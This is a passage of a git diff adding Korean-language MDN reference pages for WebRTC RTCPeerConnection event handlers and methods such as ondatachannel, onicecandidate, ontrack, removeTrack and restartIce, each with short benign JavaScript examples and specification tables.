+<p>{{domxref("RTCPeerConnection")}}에서 {{event("connectionstatechange")}} 이벤트가 생길 때, 브라우저에 의해 호출되는 함수입니다. 이 함수는 {{domxref("Event")}} 타입의 객체인 단일 패러미터를 입력인자로 받습니다. 해당 이벤트 객체는 특별한 정보를 담고 있지는 않습니다. 새로운 상태를 확인하려면 피어 연결의 {{domxref("RTCPeerConnection.connectionState", "connectionState")}}에 해당하는 값을 살펴보십시오. </p>
+
+<h2 id="예시">예시</h2>
+
+<pre class="brush: js">pc.onconnectionstatechange = function(event) {
+ switch(pc.connectionState) {
+ case "connected":
+ // The connection has become fully connected
+ break;
+ case "disconnected":
+ case "failed":
+ // One or more transports has terminated unexpectedly or in an error
+ break;
+ case "closed":
+ // The connection has been closed
+ break;
+ }
+}</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">코멘트</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{ SpecName('WebRTC 1.0', '#widl-RTCPeerConnection-onconnectionstatechange', 'RTCPeerConnection.onconnectionstatechange') }}</td>
+ <td>{{ Spec2('WebRTC 1.0') }}</td>
+ <td>Initial specification.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.RTCPeerConnection.onconnectionstatechange")}}</p>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li>{{event("connectionstatechange")}} 이벤트와 이 이벤트의 타입인 {{domxref("Event")}}을 참조하십시오.</li>
+</ul>
diff --git a/files/ko/web/api/rtcpeerconnection/ondatachannel/index.html b/files/ko/web/api/rtcpeerconnection/ondatachannel/index.html
new file mode 100644
index 0000000000..d32f6c9b80
--- /dev/null
+++ b/files/ko/web/api/rtcpeerconnection/ondatachannel/index.html
@@ -0,0 +1,62 @@
+---
+title: RTCPeerConnection.ondatachannel
+slug: Web/API/RTCPeerConnection/ondatachannel
+translation_of: Web/API/RTCPeerConnection/ondatachannel
+---
+<p>{{APIRef("WebRTC")}}{{SeeCompatTable}}</p>
+
+<p><code><strong>RTCPeerConnection.ondatachannel</strong></code> 속성은 {{domxref("RTCPeerConnection")}}에서 발생하는 {{event("datachannel")}} 이벤트에 의해 호출되는 {{domxref("EventHandler")}}입니다. 이 속성에는 함수를 정의하게됩니다. {{domxref("RTCDataChannelEvent")}}의 한 종류인 이 이벤트는 원격 유저가 {{domxref("RTCPeerConnection.createDataChannel", "createDataChannel()")}}를 호출해서 연결에 {{domxref("RTCDataChannel")}}가 추가되었을 때, 전달됩니다. </p>
+
+<p>이 이벤트를 수신하게되는 시점에서는 {{domxref("RTCDataChannel")}}가 아직 열리지 않았을 수 있습니다. 사용하기 전에 꼭 신규 <code>RTCDataChannel</code>에 <code>"open"</code>이벤트가 발생하는 것을 확인하십시오.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><em>RTCPeerConnection</em>.ondatachannel = <em>function</em>;
+</pre>
+
+<h3 id="값">값</h3>
+
+<p>이 속성에 지정하는 함수는 단일 패러미터를 입력 인자로 받습니다. <code>channel</code> 속성에 생성된 {{domxref("RTCDataChannel")}}를 제공하는 {{domxref("RTCDataChannelEvent")}} 입니다. </p>
+
+<h2 id="예시">예시</h2>
+
+<pre class="brush: js">pc.ondatachannel = function(ev) {
+  console.log('Data channel is created!');
+  ev.channel.onopen = function() {
+  console.log('Data channel is open and ready to be used.');
+  };
+};
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">코멘트</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{ SpecName('WebRTC 1.0', '#dom-rtcpeerconnection-ondatachannel', 'RTCPeerConnection.ondatachannel') }}</td>
+ <td>{{ Spec2('WebRTC 1.0') }}</td>
+ <td>Initial specification.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.RTCPeerConnection.ondatachannel")}}</p>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li>The {{event("datachannel")}} event and its type, {{domxref("RTCDataChannelEvent")}}.</li>
+ <li>{{domxref("RTCPeerConnection.createDataChannel()")}}</li>
+ <li><a href="/en-US/docs/Web/API/WebRTC_API/Simple_RTCDataChannel_sample">A simple RTCDataChannel sample</a></li>
+</ul>
diff --git a/files/ko/web/api/rtcpeerconnection/onicecandidate/index.html b/files/ko/web/api/rtcpeerconnection/onicecandidate/index.html
new file mode 100644
index 0000000000..a8c23acfc1
--- /dev/null
+++ b/files/ko/web/api/rtcpeerconnection/onicecandidate/index.html
@@ -0,0 +1,63 @@
+---
+title: RTCPeerConnection.onicecandidate
+slug: Web/API/RTCPeerConnection/onicecandidate
+translation_of: Web/API/RTCPeerConnection/onicecandidate
+---
+<p>{{APIRef("WebRTC")}}</p>
+
+<p><span class="seoSummary"> <code>RTCPeerConnection</code> 속성의 <strong>{{domxref("RTCPeerConnection.onicecandidate", "onicecandidate")}}</strong> 는 {{domxref("RTCPeerConnection")}} 인스턴스에서 {{event("icecandidate")}} 이벤트 발생시에 호출 하려는 함수를 지정합니다. 이 이벤트는 로컬 {{Glossary("ICE")}} 에이전트가 signaling 서버를 통해 원격 피어에게 메세지를 전달 할 필요가 있을때 마다 발생합니다. 그리고 ICE 에이전트가 signaling에 사용되는 기술에 대한 구체사항을 모르더라도 원격 피어와의 네고시에이션을 수행하도록 도와줍니다. 어떤 메세징 기술을 선택하던간에, 이 메소드를 사용해서 원격 피어에 ICE candidate를 전달하는 과정을 간단하게 구현 할 수 있습니다.</span> </p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><em>RTCPeerConnection</em>.onicecandidate = <em>eventHandler</em>;
+</pre>
+
+<h3 id="값">값</h3>
+
+<p><code>onicecandidate </code>속성은 {{event("icecandidate")}} 이벤트를 나타내는 {{domxref("RTCPeerConnectionIceEvent")}} 객체를 입력 값으로 받는 함수로 설정되어야합니다. 여기에 설정되는 함수는 ICE candidate를 signaling 서버를 통해 원격 피어에게 전달해야합니다. 이때, ICE candidate의 {{Glossary("SDP")}}는 이벤트의 {{domxref("RTCPeerConnectionIceEvent.candidate", "candidate")}} 속성에서 확인 할 수 있습니다. 만약 이벤트의 <code>candidate </code>속성이 <code>null</code>로 지정되어있다면, ICE 수집과정이 완료됩니다. 이 메세지는 원격 피어에 전달되지 않아야합니다. 이때, 연결의 {{domxref("RTCPeerConnection.iceGatheringState", "iceGatheringState")}} 또한 <code>complete</code>로 바뀌게 됩니다. ICE 수집 상태를 명시적으로 감시할 필요는 없습니다. 다만, signaling의 종료를 감지해야 한다면, ICE 네고시에이션이 complete 상태로 변한것을 알려주는 {{domxref("RTCPeerConnection.icegatheringstatechange_event", "icegatheringstatechange")}} 이벤트를 감시하면 됩니다.</p>
+
+<h2 id="예시">예시</h2>
+
+<p>아래는 <a href="/en-US/docs/Web/API/WebRTC_API/Signaling_and_video_calling">Signaling and video calling</a> 문서의 코드를 기반으로 원격 피어에게 ICE candidate를 전달하는 {{event("icecandidate")}} 이벤트에 대한 핸들러를 설정합니다.</p>
+
+<pre class="brush: js">pc.onicecandidate = function(event) {
+ if (event.candidate) {
+ // event.candidate가 존재하면 원격 유저에게 candidate를 전달합니다.
+ } else {
+ // 모든 ICE candidate가 원격 유저에게 전달된 조건에서 실행됩니다.
+ // candidate = null
+ }
+}</pre>
+
+<p>위에서 알 수 있듯이, 이벤트의 {{domxref("RTCPeerConnectionIceEvent.candidate", "candidate")}} 속성이 <code>null</code>이면 네고시에이션의 종료가 감지됩니다. </p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">코멘트</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{ SpecName('WebRTC 1.0', '#widl-RTCPeerConnection-onicecandidate', 'RTCPeerConnection.onicecandidate') }}</td>
+ <td>{{ Spec2('WebRTC 1.0') }}</td>
+ <td>Initial specification.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.RTCPeerConnection.onicecandidate")}}</p>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li>{{event("icecandidate")}} 이벤트 및 이벤트의 타입인 {{domxref("RTCPeerConnectionIceEvent")}}.</li>
+</ul>
diff --git a/files/ko/web/api/rtcpeerconnection/onicegatheringstatechange/index.html b/files/ko/web/api/rtcpeerconnection/onicegatheringstatechange/index.html
new file mode 100644
index 0000000000..8e3e375efb
--- /dev/null
+++ b/files/ko/web/api/rtcpeerconnection/onicegatheringstatechange/index.html
@@ -0,0 +1,76 @@
+---
+title: RTCPeerConnection.onicegatheringstatechange
+slug: Web/API/RTCPeerConnection/onicegatheringstatechange
+translation_of: Web/API/RTCPeerConnection/onicegatheringstatechange
+---
+<p>{{APIRef("WebRTC")}}{{SeeCompatTable}}</p>
+
+<p><code><strong>RTCPeerConnection.onicegatheringstatechange</strong></code>속성은 {{event("icegatheringstatechange")}} 이벤트가 {{domxref("RTCPeerConnection")}}에 전달될 때 호출이되는 함수를 정의하는 {{domxref("EventHandler")}}입니다. 이이벤트는 ICE 에이전트가 ICE candidate를 수집을 하는지의 여부를 알려주는 ICE 수집 상태가 변하면 발생합니다. 하지만, ICE 수집 상태를 모니터링 해야하는 특별한 이유가 없으면 이 이벤트를 감시 할 필요는 없습니다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><em>RTCPeerConnection</em>.onicegatheringstatechange = <em>eventHandler</em>;
+</pre>
+
+<h3 id="값">값</h3>
+
+<p>{{event("icegatheringstatechange")}} 이벤트를 가진 {{domxref("Event")}} 객체를 단일 패러미터로 전달하는 함수를 제공합니다. {{domxref("RTCPeerConnection.iceGatheringState")}} 속성의 값 확인을 통해 ICE 수집 상태를 새로운 값으로 변경이 가능합니다.</p>
+
+<h2 id="예시">예시</h2>
+
+<p>아래의 예제는 {{domxref("RTCPeerConnection.iceGatheringState", "iceGatheringState")}} 속성 값이 변할 때마다 현재 값을 확인하고, 수집 상태 변화에 맞추어 표시될 상태 내용을 업데이트해서 유저에게 알려줍니다.  </p>
+
+<p>이 상태는 {{HTMLElement("div")}} 요소에 텍스트로 표시됩니다.</p>
+
+<pre class="brush: html">&lt;div id="iceStatus"&gt;&lt;/div&gt;
+</pre>
+
+<p>예제에 사용된 이벤트 핸들러는 아래와 같습니다:</p>
+
+<pre class="brush: js">pc.onicegatheringstatechange = function() {
+ let label = "Unknown";
+
+ switch(pc.iceGatheringState) {
+ case "new":
+ case "complete":
+ label = "Idle";
+ break;
+ case "gathering":
+ label = "Determining route";
+ break;
+ }
+ // HTML에서 id가 "iceStatus"인 요소에 label 값을 지정
+ document.getElementById("iceStatus").innerHTML = label;
+}</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">코멘트</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{ SpecName('WebRTC 1.0', '#widl-RTCPeerConnection-onicegatheringstatechange', 'RTCPeerConnection.onicegatheringstatechange') }}</td>
+ <td>{{ Spec2('WebRTC 1.0') }}</td>
+ <td>Initial specification.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.RTCPeerConnection.onicegatheringstatechange")}}</p>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li>The {{event("icegatheringstatechange")}} event and its type, {{domxref("Event")}}.</li>
+ <li>{{domxref("RTCPeerConnection.iceGatheringState")}}</li>
+</ul>
diff --git a/files/ko/web/api/rtcpeerconnection/onidentityresult/index.html b/files/ko/web/api/rtcpeerconnection/onidentityresult/index.html
new file mode 100644
index 0000000000..a237bae774
--- /dev/null
+++ b/files/ko/web/api/rtcpeerconnection/onidentityresult/index.html
@@ -0,0 +1,55 @@
+---
+title: RTCPeerConnection.onidentityresult
+slug: Web/API/RTCPeerConnection/onidentityresult
+translation_of: Web/API/RTCPeerConnection/onidentityresult
+---
+<p>{{APIRef("WebRTC")}}{{SeeCompatTable}}</p>
+
+<p><code><strong>RTCPeerConnection.onidentityresult</strong></code> 이벤트 핸들러는 {{domxref("RTCPeerConnection")}}가 {{domxref("RTCIdentityEvent")}} 타입의 {{event("identityresult")}} 이벤트를 수신하게되면 실행되는 코드를 담고 있는 속성입니다. 이러한 이벤트는 {{domxref("RTCPeerConnection.getIdentityAssertion()", "getIdentityAssertion()")}} 혹은 offer 혹은 answer를 생성하는 과정에 의해 식별인자 주장이 생성되면 전송됩니다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="eval"><em>peerconnection</em>.onidentityresult = <em>function</em>;
+</pre>
+
+<h3 id="값">값</h3>
+
+<ul>
+ <li><code>function</code> 은 개발자가 정의한 함수로 괄호 <code>()</code>나 매개 변수 혹은 <code>function(event) {...}</code>와 같은 이름 없는 함수 정의가 필요 없습니다. 이벤트 핸들러는 항상 {{domxref("RTCIdentityEvent")}} 타입의 이벤트를 포함하는 하나의 변수를 가집니다. </li>
+</ul>
+
+<h2 id="예시">예시</h2>
+
+<pre class="brush: js">pc.onidentityresult = function(ev) { alert("onidentityresult event detected!"); };
+</pre>
+
+<h2 id="Specifications" name="Specifications">사양서</h2>
+
+<table class="standard-table" style="height: 49px; width: 1000px;">
+ <thead>
+ <tr>
+ <th scope="col">사양서</th>
+ <th scope="col">상태</th>
+ <th scope="col">코멘트</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{ SpecName('WebRTC 1.0', '#widl-RTCPeerConnection-onidentityresult', 'RTCPeerConnection.onidentityresult') }}</td>
+ <td>{{ Spec2('WebRTC 1.0') }}</td>
+ <td>Initial specification.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.RTCPeerConnection.onidentityresult")}}</p>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li>{{event("identityresult")}} 이벤트와 해당 타입인 {{domxref("RTCIdentityEvent")}}를 참조하십시오.</li>
+</ul>
diff --git a/files/ko/web/api/rtcpeerconnection/ontrack/index.html b/files/ko/web/api/rtcpeerconnection/ontrack/index.html
new file mode 100644
index 0000000000..1856d41890
--- /dev/null
+++ b/files/ko/web/api/rtcpeerconnection/ontrack/index.html
@@ -0,0 +1,63 @@
+---
+title: RTCPeerConnection.ontrack
+slug: Web/API/RTCPeerConnection/ontrack
+translation_of: Web/API/RTCPeerConnection/ontrack
+---
+<div>{{APIRef("WebRTC")}}</div>
+
+<p><span class="seoSummary">{{domxref("RTCPeerConnection")}} 속성인 <strong><code>ontrack</code></strong>은 {{domxref("RTCPeerConnection")}}에 트랙이 등록됨을 알려주는 {{event("track")}}가 발생하면 호출되는 함수를 지정하는 {{domxref("EventHandler")}}입니다.</span></p>
+
+<p>이 함수는 {{domxref("RTCTrackEvent")}} 타입의 이벤트 객체를 입력 인자로 받습니다. 해당 이벤트는 신규로 받아지는 {{domxref("MediaStreamTrack")}}가 생성되고 연결의 리시버 세트에 추가된 {{domxref("RTCRtpReceiver")}}객체와 연관되면 전송됩니다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><em>RTCPeerConnection</em>.ontrack = <em>eventHandler</em>;
+</pre>
+
+<h3 id="값">값</h3>
+
+<p><code>ontrack</code>을 함수로 지정해서 신규 트랙에 대해 설명하고 어떻게 사용 될지를 알려주는 {{domxref("RTCTrackEvent")}} 객체를 입력 인자로 받도록 하십시오. 이 정보에는 신규 트랙을 나타내는 {{domxref("MediaStreamTrack")}} 객체, {{domxref("RTCRtpReceiver")}}와{{domxref("RTCRtpTransceiver")}}, 그리고 트랙이 어느 스트림에 해당하는지를 알려주는 {{domxref("MediaStream")}}의 리스트 객체를 포함합니다. </p>
+
+<h2 id="예시">예시</h2>
+
+<p>아래의 예시는 <a href="/en-US/docs/Web/API/WebRTC_API/Signaling_and_video_calling">Signaling and video calling</a> 문서에 나온 코드의 일부입니다. 이 코드는 들어오는 트랙을 {{HTMLElement("video")}}에 연결해서 해당 비디오를 보여줄 수 있도록 합니다.</p>
+
+<pre class="brush: js">pc.ontrack = function(event) {
+  document.getElementById("received_video").srcObject = event.streams[0];
+  document.getElementById("hangup-button").disabled = false;
+};
+
+</pre>
+
+<p>첫 줄에 나온 <code>ontrack</code> 이벤트 핸들러는 들어오는 트랙의 첫 스트림을 가져다가 {{htmlattrxref("srcObject", "video")}} 속성에 지정합니다. 이렇게 함으로써 비디오의 스트림을 해당 요소에 연결하고, 유저에게 보여 줄 수 있게됩니다. 두 번째줄에서는 "통화 종료" 버튼을 활성화하여 유저가 통화를 종료 할 수 있도록 해줍니다.</p>
+
+<h2 id="사양서">사양서</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">사양서</th>
+ <th scope="col">상태</th>
+ <th scope="col">코멘트</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('WebRTC 1.0', '#widl-RTCPeerConnection-ontrack', 'RTCPeerConnection.ontrack')}}</td>
+ <td>{{Spec2('WebRTC 1.0')}}</td>
+ <td>Initial specification.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.RTCPeerConnection.ontrack")}}</p>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li>The {{event("track")}} event and its type, {{domxref("RTCTrackEvent")}}.</li>
+</ul>
diff --git a/files/ko/web/api/rtcpeerconnection/removetrack/index.html b/files/ko/web/api/rtcpeerconnection/removetrack/index.html
new file mode 100644
index 0000000000..f08af06fd8
--- /dev/null
+++ b/files/ko/web/api/rtcpeerconnection/removetrack/index.html
@@ -0,0 +1,80 @@
+---
+title: RTCPeerConnection.removeTrack()
+slug: Web/API/RTCPeerConnection/removeTrack
+translation_of: Web/API/RTCPeerConnection/removeTrack
+---
+<div>{{APIRef("WebRTC")}}</div>
+
+<p><span class="seoSummary"><code><strong>RTCPeerConnection.removeTrack()</strong></code> 메소드는 {{domxref("RTCPeerConnection.getSenders()")}}에 의해 보고된 발신자 목록에서 해당 {{domxref("RTCRtpSender")}}를 실제로 제거하지 않은채, 지정한 트랙에서 미디어 전송을 중단하도록 연결의 로컬엔드에 알려줍니다.</span> 해당 트랙이 이미 중단되었거나, 연결의 발신자 목록에 존재하지 않으면, 이 메소드는 아무 영향이 없습니다.</p>
+
+<p>연결이 이미 협상된 경우 ({{domxref("RTCPeerConnection.signalingState", "signalingState")}}가 <code>"stable"</code>로 설정된 경우), 재협상이 필요하다고 표시를 하게됩니다. 따라서, 원격 유저는 해당 협상이 발생하기 전까지 아무런 변화를 감지 할 수 없습니다. {{event("negotiationneeded")}} 이벤트가 {{domxref("RTCPeerConnection")}}에 전송되고, 로컬엔드에게 해당 협상이 반드시 발생해야 한다고 알려주게됩니다.</p>
+
+<h2 id="Syntax" name="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><code><em>pc</em>.removeTrack(sender);
+</code></pre>
+
+<h3 id="Example" name="Example">매개변수</h3>
+
+<dl>
+ <dt><code>mediaTrack</code></dt>
+ <dd>연결에서 해당하는 발신자를 제거하도록 알려주는 {{domxref("RTCRtpSender")}}.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p><code>undefined</code>.</p>
+
+<h3 id="예외처리">예외처리</h3>
+
+<dl>
+ <dt><code>InvalidStateError</code></dt>
+ <dd>연결이 열린 상태가 아닙니다.</dd>
+</dl>
+
+<h2 id="Example" name="Example">예시</h2>
+
+<p>아래의 예시는 연결에 비디오 트랙을 추가하고, 닫기 버튼을 감청하여 유저가 버튼을 클릭하면 해당 미디어를 제거하도록 합니다.</p>
+
+<pre class="brush: js">var pc, sender;
+navigator.getUserMedia({video: true}, function(stream) {
+ pc = new RTCPeerConnection();
+ var track = stream.getVideoTracks()[0];
+ sender = pc.addTrack(track, stream);
+});
+
+document.getElementById("closeButton").addEventListener("click", function(event) {
+ pc.removeTrack(sender);
+ pc.close();
+}, false);</pre>
+
+<h2 id="Specifications" name="Specifications">사양서</h2>
+
+<table class="standard-table" style="height: 49px; width: 1000px;">
+ <thead>
+ <tr>
+ <th scope="col">사양서</th>
+ <th scope="col">상태</th>
+ <th scope="col">코멘트</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{ SpecName('WebRTC 1.0', '#dom-rtcpeerconnection-removetrack', 'RTCPeerConnection.removeTrack()') }}</td>
+ <td>{{ Spec2('WebRTC 1.0') }}</td>
+ <td>Initial specification.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.RTCPeerConnection.removeTrack")}}</p>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/WebRTC_API">WebRTC API</a></li>
+</ul>
diff --git a/files/ko/web/api/rtcpeerconnection/restartice/index.html b/files/ko/web/api/rtcpeerconnection/restartice/index.html
new file mode 100644
index 0000000000..dc3494d2ec
--- /dev/null
+++ b/files/ko/web/api/rtcpeerconnection/restartice/index.html
@@ -0,0 +1,80 @@
+---
+title: RTCPeerConnection.restartIce()
+slug: Web/API/RTCPeerConnection/restartIce
+translation_of: Web/API/RTCPeerConnection/restartIce
+---
+<p>{{APIRef("WebRTC API")}}</p>
+
+<p><span class="seoSummary"><a href="/en-US/docs/Web/API/WebRTC_API">WebRTC</a> API의 {{domxref("RTCPeerConnection")}} 인터페이스에서는 <code><strong>restartIce()</strong></code> 메소드를 제공해서 연결의 양쪽에서 {{Glossary("ICE")}} candidate의 재수집 요청을 간단하게 할 수 있게 만들어줍니다.</span></p>
+
+<p><code>restartIce()</code>가 반환을 한 뒤에는, offer가 시그널링 메커니즘을 통해 전달되고, 원격 피어가 받은 offer를 description으로 설정을 하게 됩니다.이 과정이 완료되면, {{domxref("RTCPeerConnection.createOffer", "createOffer()")}}에 대한 다음 호출로 반환된 offer가 로컬 피어 (로컬로 설정이 된 경우)와 원격 피어에서 ICE 재시작을 발생시키도록 설정됩니다. </p>
+
+<p><code>restartIce()</code>는 <code>RTCPeerConnection</code>에 대한 {{domxref("RTCPeerConnection.negotiationneeded_event", "negotiationneeded")}} 이벤트를 발생시켜서 어플리케이션이 신호 채널을 통해서 협상을 수행하도록 합니다.</p>
+
+<p>만약 협상이 롤백 현상이나 수신받은 offer가 이미 협상 중으로 인해 실패하게되면, {{domxref("RTCPeerConnection")}}가  ICE 재시작 요청을 했다는 것을 자동으로 기억합니다. 다음번에 연결의 {{domxref("RTCPeerConnection.signalingState", "signalingState")}}가 <code>stable</code>로 바뀌게되면, 연결 인터페이스가 {{domxref("RTCPeerConnection.negotiationneeded_event", "negotiationneeded")}} 이벤트를 발생시킵니다. 이 과정은 ICE 재시작 과정이 온전히 완료될 때까지 반복됩니다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><em>RTCPeerConnection</em>.restartIce();</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<p>없음.</p>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p><code>undefined</code>.</p>
+
+<p>{{domxref("RTCPeerConnection.createOffer", "createOffer()")}}를 사용해서 만들어진 다음 offer가 신호 메커니즘을 통해 원격 유저에게 전달이 되면, ICE 재시작을 시작하도록 만듭니다. ICE를 재시작하게되면 기본적으로 ICE가 초기화되고, 새로운 증명서를 사용해서 신규 candidate를 생성합니다. 기존에 존재하던 미디어 전송/수신은 이 과정동안에는 방해받지 않습니다.</p>
+
+<p>ICE 재시작의 작동원리를 좀 더 자세히 알고 싶다면, {{SectionOnPage("/ko/docs/Web/API/WebRTC_API/Session_lifetime", "ICE restart")}}와 {{RFC(5245, "ICE specification", "9.1.1.1")}}를 참고하십시오.</p>
+
+<h2 id="예시">예시</h2>
+
+<p>아래의 예제는 {{domxref("RTCPeerConnection.iceconnectionstatechange_event", "iceconnectionstatechange")}} 이벤트에 대한 핸들러입니다. 이 핸들러는 ICE를 재시작하여 <code>failed</code> 상태로의 전환을 관리합니다. </p>
+
+<pre class="brush: js">pc.addEventListener("iceconnectionstatechange", event =&gt; {
+ if (pc.iceConnectionState === "failed") {
+ /* possibly reconfigure the connection in some way here */
+ /* then request ICE restart */
+ pc.restartIce();
+ }
+});
+</pre>
+
+
+
+<p>위의 코드를 사용하여 ICE 협상 중 <code>failed</code> 상태로 전환되면 코드가 정상적으로 재협상 되어야 하기 때문에 {{domxref("RTCPeerConnection.negotiationneeded_event", "negotiationneeded")}} 이벤트가 발생합니다. 그러나, <code>restartIce()</code>를 호출했기 때문에 <code>negotiationneeded</code>에 대한 핸들러에서 발생하는 {{domxref("RTCPeerConnection.createOffer", "createOffer()")}} 호출은 일반적으로 수행되는 재협상이 아니라 ICE 재시작을 발생시킵니다.</p>
+
+<h2 id="사양서">사양서</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">사양서</th>
+ <th scope="col">상태</th>
+ <th scope="col">코멘트</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('WebRTC 1.0', '#dom-rtcpeerconnection-restartice', 'RTCPeerConnection.restartIce()')}}</td>
+ <td>{{Spec2('WebRTC 1.0')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.RTCPeerConnection.restartIce")}}</p>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/WebRTC_API">WebRTC API</a></li>
+ <li><a href="/en-US/docs/Web/API/WebRTC_API/Session_lifetime">Lifetime of a WebRTC session</a></li>
+ <li><a href="/en-US/docs/Web/API/WebRTC_API/Signaling_and_video_calling">Signaling and video calling</a></li>
+</ul>
diff --git a/files/ko/web/api/rtcpeerconnection/rtcpeerconnection/index.html b/files/ko/web/api/rtcpeerconnection/rtcpeerconnection/index.html
new file mode 100644
index 0000000000..2fa7822559
--- /dev/null
+++ b/files/ko/web/api/rtcpeerconnection/rtcpeerconnection/index.html
@@ -0,0 +1,59 @@
+---
+title: RTCPeerConnection()
+slug: Web/API/RTCPeerConnection/RTCPeerConnection
+translation_of: Web/API/RTCPeerConnection/RTCPeerConnection
+---
+<div>{{APIRef("WebRTC")}}</div>
+
+<p><span class="seoSummary"><strong><code>RTCPeerConnection()</code></strong> 생성자는 로컬 기기와 원격 피어 간의 연결을 나타내는 {{domxref("RTCPeerConnection")}} 객체를 새로 만들어 반환합니다.</span></p>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox">pc = new RTCPeerConnection([<em>configuration</em>]);</pre>
+
+<h3 class="syntaxbox" id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>configuration</code> {{optional_inline}}</dt>
+ <dd><a href="#RTCConfiguration_dictionary"><code>RTCConfiguration</code> dictionary</a>는 신규 연결을 설정하는 옵션들을 제공합니다.</dd>
+</dl>
+
+<h3 id="RTCConfiguration_dictionary">RTCConfiguration dictionary</h3>
+
+<p>{{page("/ko/docs/Web/API/RTCConfiguration", "속성")}}</p>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p><code>configuration</code>이 지정된 경우 그에 맞게 구성한, 그렇지 않은 경우 기본값 구성을 이용한 {{domxref("RTCPeerConnection")}} 객체입니다.</p>
+
+<h2 id="사양">사양</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">사양명</th>
+ <th scope="col">상태</th>
+ <th scope="col">설명</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('WebRTC 1.0', '#widl-ctor-RTCPeerConnection--RTCConfiguration-configuration', 'RTCPeerConnection()')}}</td>
+ <td>{{Spec2('WebRTC 1.0')}}</td>
+ <td>초기 선언</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.RTCPeerConnection.RTCPeerConnection")}}</p>
+
+<h2 id="참고">참고</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/WebRTC_API/Signaling_and_video_calling">Signaling and video calling</a></li>
+ <li><a href="/en-US/docs/Web/API/WebRTC_API/Architecture">WebRTC architecture overview</a></li>
+ <li><a href="/en-US/docs/Web/API/WebRTC_API/Session_lifetime">Lifetime of a WebRTC session</a></li>
+ <li>{{domxref("RTCPeerConnection")}}</li>
+</ul>
diff --git a/files/ko/web/api/rtcpeerconnection/setconfiguration/index.html b/files/ko/web/api/rtcpeerconnection/setconfiguration/index.html
new file mode 100644
index 0000000000..844f1ae4a8
--- /dev/null
+++ b/files/ko/web/api/rtcpeerconnection/setconfiguration/index.html
@@ -0,0 +1,99 @@
+---
+title: RTCPeerConnection.setConfiguration()
+slug: Web/API/RTCPeerConnection/setConfiguration
+translation_of: Web/API/RTCPeerConnection/setConfiguration
+---
+<p>{{APIRef("WebRTC")}}{{SeeCompatTable}}</p>
+
